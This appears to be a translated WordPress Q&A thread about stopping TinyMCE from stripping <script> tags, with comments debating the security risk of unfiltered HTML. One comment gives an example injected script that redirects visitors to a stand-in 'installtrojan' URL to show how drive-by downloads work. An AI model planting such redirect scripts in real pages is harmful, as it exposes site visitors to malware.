Español
Română
РусскийImpedire a WordPress di rimuovere i tag <script> durante il passaggio da HTML a Visuale (TinyMCE)
Ok, ho visto soluzioni che risolvono parzialmente questo problema, ma niente di definitivo e niente che risolva al 100% il mio problema.
Scenario:
- In modalità HTML, aggiungo del javascript a un post che sto modificando.
- Passo alla modalità Visuale, poi torno in HTML, e il tag <script> e tutto il suo contenuto sono spariti.
Come posso impedire che questo accada? Ho provato ad aggiungere codice personalizzato al mio functions.php cercando di accedere a extended_valid_elements per TinyMCE, ma niente funziona.
Per favore aiuto!
Ehi Tom, penso che sarebbe davvero utile se potessi fornire qualche prova sul perché questa sia una cattiva pratica, e perché sia un invito a farsi hackerare!
Matthew Boynes
perché chiunque può inserire qualsiasi cosa nel tuo contenuto, sia qualcosa che fa lampeggiare i tuoi collegamenti ipertestuali, sia qualcosa che esegue un download drive-by. Chiunque abbia accesso al tuo database o ai permessi di modifica dei post può usare il tuo sito per diffondere javascript malevolo
Tom J Nowell
Inoltre, mescola contenuti/dati con funzionalità/controller e rende i tuoi contenuti non portabili tra temi, poiché cambiare tema romperebbe il contenuto.
Tom J Nowell
ad es. "Ciao, questo è il mio primo post sul blog! <script>window.location="www.hackme.com/installtrojan";</script>"
Tom J Nowell
Sostenerei che "chiunque abbia accesso al tuo DB o con permessi di modifica dei post" possa comunque rovinarti la giornata, e implementare questo tramite shortcode o post meta non farebbe alcuna differenza in termini di sicurezza. Allo stesso modo, non vedo come gli shortcode o i post meta separino contenuto/dati dalla funzionalità/controller più di quanto stia chiedendo @Buckers. Penso che questo sia un buon default per WordPress, non fraintendermi, ma personalmente non vedo alcun danno nell'override di questo comportamento con consenso informato, né vedo vantaggi di sicurezza o ortogonalità in ciò che proponi. Ma, ehi, forse mi sfugge qualcosa?
Matthew Boynes
sembra molto insicuro su multisite (qualsiasi cosa che permetta l'inserimento di HTML non filtrato lo è) e in ogni caso, non sembra più essere supportato dall'autore
Mark Kaplun
@MarkKaplun - Non sono sicuro del perché dici che il plugin non è supportato. Non è stato aggiornato di recente, ma probabilmente perché l'autore è occupato con altre cose (vedi i suoi post in altri forum). Comunque, funziona bene su 4.7.
Guss
Per quanto riguarda la questione sicurezza - continuo a vedere risposte su questo sito del tipo "non è sicuro fare questo o quello, quindi non farlo". Penso che chi risponde dovrebbe smetterla di imporre il proprio modello di sicurezza agli altri utenti. Se l'amministratore decide di installare un plugin e renderlo disponibile, presumo che abbia considerato le implicazioni sulla sicurezza. Nella mia installazione WPMS, tutti gli utenti sono attendibili (li creo manualmente), quindi se scelgo di rendere disponibile il plugin Shortcoder, è perché ho valutato le considerazioni sulla sicurezza e vanno bene. Mi aspetto che la maggior parte delle installazioni WPMS siano nella stessa categoria.
Guss
Il 99,9% degli utenti di WordPress non ha alcuna comprensione delle implicazioni di sicurezza di ciò che stanno facendo. Gli utenti non sono mai affidabili, il problema è che lo scoprirai solo dopo il fatto, quando sarà estremamente difficile riprendersi.
Mark Kaplun
Per quanto riguarda il plugin, se l'autore non si preoccupa di aggiornare il file readme per indicare che dovrebbe funzionare su una versione rilasciata 3 mesi fa, è un buon indicatore che ha perso interesse nel plugin.
Mark Kaplun